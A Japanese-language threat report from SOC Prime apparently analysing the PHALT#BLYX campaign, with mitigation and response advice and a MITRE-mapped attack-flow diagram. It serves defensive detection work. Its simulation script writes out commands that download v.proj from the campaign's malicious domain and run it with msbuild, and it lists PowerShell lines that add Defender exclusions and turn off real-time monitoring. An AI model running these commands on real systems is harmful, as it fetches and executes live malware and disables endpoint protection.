PHALT#BLYX分析：偽のBSODとマルウェアチェーンにおける信頼されたビルドツール

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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PHALT#BLYX分析：偽のBSODとマルウェアチェーンにおける信頼されたビルドツール

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

このレポートは、ホスピタリティ業界に影響を与える多段階の侵入チェーンを詳細に述べており、それは偽のBooking.comランディングページ、誤解を招くブルースクリーンスタイルのアニメーション、及びPowerShellドロッパーを実行するようにユーザーを説得するClickFixスタイルのプロンプトを組み合わせています。そのドロッパーは、MSBuildプロジェクトファイルを取得し、カスタマイズされたDCRatローダーを実行します。ローダーはWindows Defenderの改ざんを行い、スタートアップの.urlショートカットを使用して持続性をセットし、正当なプロセスにペイロードを注入します。PowerShellやMSBuild.exeのような既存のユーティリティを利用することで、オペレーターは明白なマルウェアの痕跡を減らします。また、チェーン内のロシア語のアーティファクトが帰属手がかりとして記録されています。

調査

Securonixの研究者たちは、「予約キャンセル」リンクを提供するフィッシングメールから悪意のあるドメインへ、そこからmsbuild.exeを見つけ、v.projファイルをダウンロードして実行するPowerShellのワンライナーへマッピングしました。このv.projプロジェクトは複数のアクションを実行します：Windows Defenderの除外を追加し、staxs.exe（DCRatバリアント）を取得し、持続性を持たせるスタートアップ.urlショートカットを作成し、ポート3535を介してコマンドアンドコントロールインフラストラクチャに接続します。そして、ローダーはaspnet_compiler.exeに最終ステージを圧縮して注入し、正当なアクティビティに溶け込むためにプロセスホローイングを使用します。

緩和策

ClickFixスタイルのプロンプトや「このコマンドを実行して修正する」といったソーシャルエンジニアリングを認識するためにユーザーを訓練し、MSBuild.exeの実行を監視および制限します – 特に異常なパスやユーザー駆動のワークフローから呼び出された場合。良好な可視性のためにPowerShellスクリプトブロックのロギングを有効にします。スタートアップフォルダ.urlショートカットの作成とWindows Defenderの除外修正の検出を追加します。ネットワーク層では、特定された悪意のあるドメインへのアウトバウンドトラフィックをブロックし、TCP/3535への不要な通信を厳しく制限または警告を出します。

対応

アクティビティが検出された場合、ホストを隔離してv.proj、staxs.exe、及びあらゆるStartup.urlファイルを含むキーアーティファクトを保存します。無許可のDefenderの除外を削除し、悪意のあるまたは注入されたプロセスを終了し、関連するC2ドメイン/IPをブロックします – 特にポート3535を介したあらゆる通信。潜在的に露出した資格情報をリセットし、フルマルウェアスキャンを実行し、同様のMSBuild駆動の実行とPowerShellコマンドのパターンの環境をスコープします。最終的には、MSBuildの悪用、ClickFixの振る舞い、スタートアップショートカットを通じた持続性に焦点を当てた脅威インテル情報に基づく検出をデプロイし、再発を防ぎます。

“graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% ノード u2013 アクション action_phishing[“アクション – T1566.002 スピアフィッシングリンク 説明: 被害者はBooking.comからのメールを受け取り、偽の予約サイトへの悪意のあるリンクをクリックします。”] class action_phishing action action_user_execution[“アクション – T1204.001 ユーザー実行 & T1204.004 悪意のあるコピーu2011ペースト 説明: 偽のサイトはBSODu2011のようなページを表示し、ユーザーにPowerShellコマンドを実行ダイアログに貼り付けるよう指示します。”] class action_user_execution action action_defense_evasion_exclusions[“アクション – T1562 防御妨害 & T1564.012 ファイル/パスの除外 説明: v.projスクリプトは、Windows Defenderの除外にProgramDataと一般的な実行可能拡張子を追加します。”] class action_defense_evasion_exclusions action action_persistence_shortcut[“アクション – T1547.009 ショートカット変更 説明: ドロップされた実行ファイルを指すインターネットショートカット(.url)をユーザーu2019sのスタートアップフォルダーに作成します。”] class action_persistence_shortcut action action_process_hollowing[“アクション – T1055.012 プロセスホローイング 説明: aspnet_compiler.exeに最終的なDCRatペイロードをプロセスホローイングを使用して注入します。”] class action_process_hollowing action action_reflective_loading[“アクション – T1620 リフレクティブコードローディング 説明: Assembly.Loadを使用して追加のDLLペイロードを反射的にロードします。”] class action_reflective_loading action action_c2_nonstandard_port[“アクション – T1571 非標準ポート 説明: RATはTCPポート3535を介してC2サーバーと通信します。”] class action_c2_nonstandard_port action action_c2_dynamic_resolution[“アクション – T1568 動的解決 説明: 実行時に複数のC2ドメイン（例: asj77.com）を解決します。”] class action_c2_dynamic_resolution action action_obfuscation[“アクション – T1027.005 難読化されたファイルまたは情報 説明: ペイロードは高度に難読化され、静的検出を回避するためにパックされています。”] class action_obfuscation action %% ノード u2013 ツール tool_powershell[“ツール – T1059.001 PowerShell 説明: 悪意のあるコマンドを実行してMSBuildプロジェクトファイルをダウンロードします。”] class tool_powershell tool tool_msbuild[“ツール – T1127.001 MSBuild 説明: 信頼された開発者ユーティリティで、悪意のあるv.projファイルをコンパイルおよび実行するために使用されます。”] class tool_msbuild tool tool_aspnet_compiler[“ツール – aspnet_compiler.exe 説明: プロセスホローイングの標的である正当な.NETコンパイラです。”] class tool_aspnet_compiler process %% ノード u2013 マルウェア / ファイル malware_vproj[“マルウェア – v.proj（悪意のあるMSBuildプロジェクト） 説明: PowerShellによりダウンロードされ、MSBuildによりコンパイルされ、防御の除外を追加し、ペイロードをドロップします。”] class malware_vproj malware malware_dcrat[“マルウェア – DCRatペイロード 説明: aspnet_compiler.exeに注入された最終的なリモートアクセス型トロイの木馬です。”] class malware_dcrat malware file_shortcut[“ファイル – スタートアップショートカット(.url) 説明: ドロップされたDCRat実行ファイルを指し、ログイン時の自動実行を確保します。”] class file_shortcut file folder_startup[“フォルダー – スタートアップディレクトリ 説明: 持続性を引き起こす悪意のあるショートカットを含んでいます。”] class folder_startup folder file_dcrat_exe[“ファイル – ドロップされたDCRat実行ファイル 説明: ショートカット起動後に実行されます。”] class file_dcrat_exe file dll_payloads[“ファイル – 追加のDLLペイロード 説明: DCRatペイロードにより反射的にロードされます。”] class dll_payloads file port_3535[“ネットワーク – TCPポート3535 説明: C2通信で使用されます。”] class port_3535 file domain_asj77[“ネットワーク – asj77.com (C2ドメイン) 説明: コマンドとコントロールのために実行時に解決されます。”] class domain_asj77 file %% 接続 u2013 フロー action_phishing u002du002d>|先導| action_user_execution action_user_execution u002du002d>|実行| tool_powershell tool_powershell u002du002d>|ダウンロード| malware_vproj malware_vproj u002du002d>|コンパイルされた| tool_msbuild tool_msbuild u002du002d>|実行| malware_vproj malware_vproj u002du002d>|追加| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|作成| file_shortcut file_shortcut u002du002d>|配置| folder_startup folder_startup u002du002d>|ロード| file_dcrat_exe malware_vproj u002du002d>|ドロップ| file_dcrat_exe file_dcrat_exe u002du002d>|実行| malware_dcrat malware_dcrat u002du002d>|注入| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|中空化| malware_dcrat malware_dcrat u002du002d>|反射的にロード| dll_payloads malware_dcrat u002du002d>|通信| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|使用中| port_3535 malware_dcrat u002du002d>|動的解決| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|解決済み| domain_asj77 malware_dcrat u002du002d>|難読化| action_obfuscation “

攻撃フロー

攻撃のナラティブ & コマンド:
攻撃者は侵害されたエンドポイントでPowerShellセッションを開きます。彼らは最初にシステムの msbuild.exe バイナリを見つけ、v.projという悪意のあるMSBuildプロジェクトを C:ProgramDataにダウンロードします。攻撃者は直ちに msbuild.exe を呼び出し、ペイロードを実行し、次のステージをドロップします。最後に、Windows Defenderを改ざんし、持続性を確保するために除外を追加し、リアルタイムモニタリングを無効にします。

リグレッションテストスクリプト:

# PHALT#BLYX シミュレーションスクリプト - 検出をトリガーするアクティビティを再現
# --------------------------------------------------------------
# 1. msbuild.exeを探します
$msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName

# 2. 悪意のあるMSBuildプロジェクトをProgramDataにダウンロードします
$projUrl = "https://2fa-bns.com/v.proj"
$dest    = "$env:ProgramDatav.proj"
Invoke-WebRequest -Uri $projUrl -OutFile $dest

# 3. プロジェクトをmsbuild.exeで実行します
& $msb $dest

# 4. Windows Defenderの設定を変更します (以下のいずれかがルールを満たします)
#    攻撃者の行動をシミュレートするために希望の行をアンコメントします。

# 除外パスを追加
# Add-MpPreference -ExclusionPath "$env:ProgramData"

# .exeファイルの除外を追加
# Add-MpPreference -ExclusionExtension ".exe"

# .ps1ファイルの除外を追加
# Add-MpPreference -ExclusionExtension ".ps1"

# リアルタイム監視を無効にする
# Set-MpPreference -DisableRealtimeMonitoring $true

クリーンアップコマンド:

# ドロップされたプロジェクトファイルを削除
Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue

# Windows Defenderのリアルタイム監視を復元 (無効化されている場合)
Set-MpPreference -DisableRealtimeMonitoring $false

# 追加した除外を削除 (パス除外例)
Remove-MpPreference -ExclusionPath "$env:ProgramData"

# ペイロードによって作成された残存ファイルを任意で削除
# Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加

Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.